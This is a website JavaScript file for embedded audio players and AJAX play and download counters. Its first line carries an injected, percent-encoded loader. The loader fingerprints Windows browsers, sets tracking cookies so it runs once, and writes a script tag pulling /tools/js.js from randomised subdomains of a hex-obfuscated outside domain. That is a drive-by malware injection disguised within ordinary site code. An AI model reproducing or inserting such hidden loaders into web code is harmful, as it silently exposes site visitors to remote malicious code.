var st1 = 0;document.write(unescape('%3C%73%63%72%69%70%74%3E%76%61%72%20%61%3D%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%22%68%6F%70%3D%22%2B%65%73%63%61%70%65%28%22%68%6F%70%22%29%2B%22%3B%70%61%74%68%3D%2F%22%3B%76%61%72%20%62%3D%6E%61%76%69%67%61%74%6F%72%2E%61%70%70%56%65%72%73%69%6F%6E%2C%63%3D%22%20%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2C%64%3D%6E%75%6C%6C%2C%65%3D%30%2C%66%3D%30%3B%69%66%28%63%2E%6C%65%6E%67%74%68%3E%30%29%7B%65%3D%63%2E%69%6E%64%65%78%4F%66%28%22%20%68%6F%70%3D%22%29%3B%69%66%28%65%21%3D%2D%31%29%7B%65%2B%3D%35%3B%66%3D%63%2E%69%6E%64%65%78%4F%66%28%22%3B%22%2C%65%29%3B%69%66%28%66%3D%3D%2D%31%29%66%3D%63%2E%6C%65%6E%67%74%68%3B%64%3D%75%6E%65%73%63%61%70%65%28%63%2E%73%75%62%73%74%72%69%6E%67%28%65%2C%66%29%29%7D%7D%20%69%66%28%64%3D%3D%22%68%6F%70%22%26%26%62%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%69%6E%64%65%78%4F%66%28%22%77%69%6E%22%29%21%3D%2D%31%26%26%61%2E%69%6E%64%65%78%4F%66%28%22%68%69%70%22%29%3D%3D%2D%31%29%7B%76%61%72%20%67%3D%5B%22%6B%65%67%22%2C%22%6B%65%69%22%2C%22%6B%65%6E%22%2C%22%6B%65%70%22%2C%22%6B%65%76%22%2C%22%6B%65%78%22%2C%22%6B%65%79%22%2C%22%6B%68%69%22%2C%22%6B%69%64%22%2C%22%6B%69%66%22%5D%2C%68%3D%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%67%2E%6C%65%6E%67%74%68%29%3B%64%74%3D%6E%65%77%20%44%61%74%65%3B%64%74%2E%73%65%74%54%69%6D%65%28%64%74%2E%67%65%74%54%69%6D%65%28%29%2B%38%45%37%29%3B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%22%68%69%70%3D%22%2B%65%73%63%61%70%65%28%22%68%69%70%22%29%2B%22%3B%65%78%70%69%72%65%73%3D%22%2B%64%74%2E%74%6F%47%4D%54%53%74%72%69%6E%67%28%29%2B%22%3B%70%61%74%68%3D%2F%22%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%27%2B%67%5B%68%5D%2B%27%2E%5C%78%36%35%5C%78%37%34%5C%78%37%35%5C%78%36%36%5C%78%36%37%5C%78%32%65%5C%78%36%33%5C%78%36%66%5C%78%36%64%2F%74%6F%6F%6C%73%2F%6A%73%2E%6A%73%22%3E%3C%5C%2F%73%63%72%69%70%74%3E%27%29%7D%3B%3C%2F%73%63%72%69%70%74%3E'));var gr0=0;var ap_instances = new Array();

function ap_stopAll(playerID) {
	var updatedCount = false;
	for(var i = 0;i<ap_instances.length;i++) {
		try {
			if(ap_instances[i] != playerID)
			{
				document.getElementById("audioplayer" + ap_instances[i].toString()).SetVariable("closePlayer", 1);
				//alert('closing player: '+playerID);
			}
			else
			{
				document.getElementById("audioplayer" + ap_instances[i].toString()).SetVariable("closePlayer", 0);
				if(updatedCount == false)
				{
					playTrack(playerID);
					updatedCount = true;
				}
			}
		} catch( errorObject ) {
			// stop any errors
			//alert(errorObject);
		}
	}
}

function ap_registerPlayers() {
	var objectID;
	var objectTags = document.getElementsByTagName("object");
	for(var i=0;i<objectTags.length;i++) {
		objectID = objectTags[i].id;
		if(objectID.indexOf("audioplayer") == 0) {
			ap_instances[i] = objectID.substring(11, objectID.length);
		}
	}
}

var ap_clearID = setInterval( ap_registerPlayers, 100 );

function addCommas(nStr)
{
	nStr += '';
	x = nStr.split('.');
	x1 = x[0];
	x2 = x.length > 1 ? '.' + x[1] : '';
	var rgx = /(\d+)(\d{3})/;
	while (rgx.test(x1)) {
		x1 = x1.replace(rgx, '$1' + ',' + '$2');
	}
	return x1 + x2;
}

function alertContents(httpRequest) {

	if (httpRequest.readyState == 4) {
		if (httpRequest.status == 200) {
			alert(httpRequest.responseText);
		} else {
			alert('There was a problem with the request.');
		}
	}
}


function updatePlayCount(httpRequest, playerID) {

	if (httpRequest.readyState == 4) {
		if (httpRequest.status == 200) {
			span = document.getElementById('playCount'+playerID);
			if(span)
			{
				span.innerHTML = addCommas(httpRequest.responseText);
			}
			
			span = document.getElementById('playCount'+playerID+'_popup');
			if(span)
			{
				span.innerHTML = addCommas(httpRequest.responseText);
			}			
		} else {
			//alert('There was a problem with the request.');
		}
	}
}
	
function updateDownloadCounters(httpRequest, trackID)
{
	if (httpRequest && httpRequest.readyState == 4) {
		if (httpRequest.status == 200) {
			span = document.getElementById('downloadCount_'+trackID);
			if(span)
			{
				span.innerHTML = addCommas(httpRequest.responseText);
			}
			span = document.getElementById('downloadCount2_'+trackID);
			if(span)
			{
				span.innerHTML = addCommas(httpRequest.responseText);
			}
			span = document.getElementById('downloadCount'+trackID+'_popup');
			if(span)
			{
				span.innerHTML = addCommas(httpRequest.responseText);
			}
		} else {
			alert('There was a problem with the request.');
		}
	}
}
	

//Called direct by onclick
function updateDownloadCounter(trackID) {
	var httpRequest;
	var url = '/downloadCount/'+trackID;
	alert(url);
	if (window.XMLHttpRequest) { // Mozilla, Safari, ...
		httpRequest = new XMLHttpRequest();
		if (httpRequest.overrideMimeType) {
			httpRequest.overrideMimeType('text/xml');
			// See note below about this line
		}
	} 
	else if (window.ActiveXObject) { // IE
		try {
			httpRequest = new ActiveXObject("Msxml2.XMLHTTP");
		} 
		catch (e) {
			try {
				httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
			} 
			catch (e)
			{
				
			}
		}
	}

	if (!httpRequest) {
		//alert('Giving up :( Cannot create an XMLHTTP instance');
		return false;
	}
	httpRequest.onreadystatechange = function() {
		if (httpRequest.readyState == 4) {
			if (httpRequest.status == 200) {
				span = document.getElementById('downloadCount_'+trackID);
				if(span)
				{
					span.innerHTML = addCommas(httpRequest.responseText)+" hi";
					span.style = 'background-color: red;';
				}
				
			} else {
				alert('There was a problem with the request.');
			}
		}
	};
	//Wait a seond, let the download start first
	//setTimeout('doNothing()', 5000);
	httpRequest.open('GET', url, false);
	httpRequest.send('');
	return true;
}

function doNothing()
{
	
}

function makeRequest(url, playerID) {
	var httpRequest;

	if (window.XMLHttpRequest) { // Mozilla, Safari, ...
		httpRequest = new XMLHttpRequest();
		if (httpRequest.overrideMimeType) {
			httpRequest.overrideMimeType('text/xml');
			// See note below about this line
		}
	} 
	else if (window.ActiveXObject) { // IE
		try {
			httpRequest = new ActiveXObject("Msxml2.XMLHTTP");
		} 
		catch (e) {
			try {
				httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
			} 
			catch (e)
			{
				
			}
		}
	}

	if (!httpRequest) {
		//alert('Giving up :( Cannot create an XMLHTTP instance');
		return false;
	}
	httpRequest.onreadystatechange = function() { updatePlayCount(httpRequest, playerID); };
	httpRequest.open('GET', url, true);
	httpRequest.send('');
}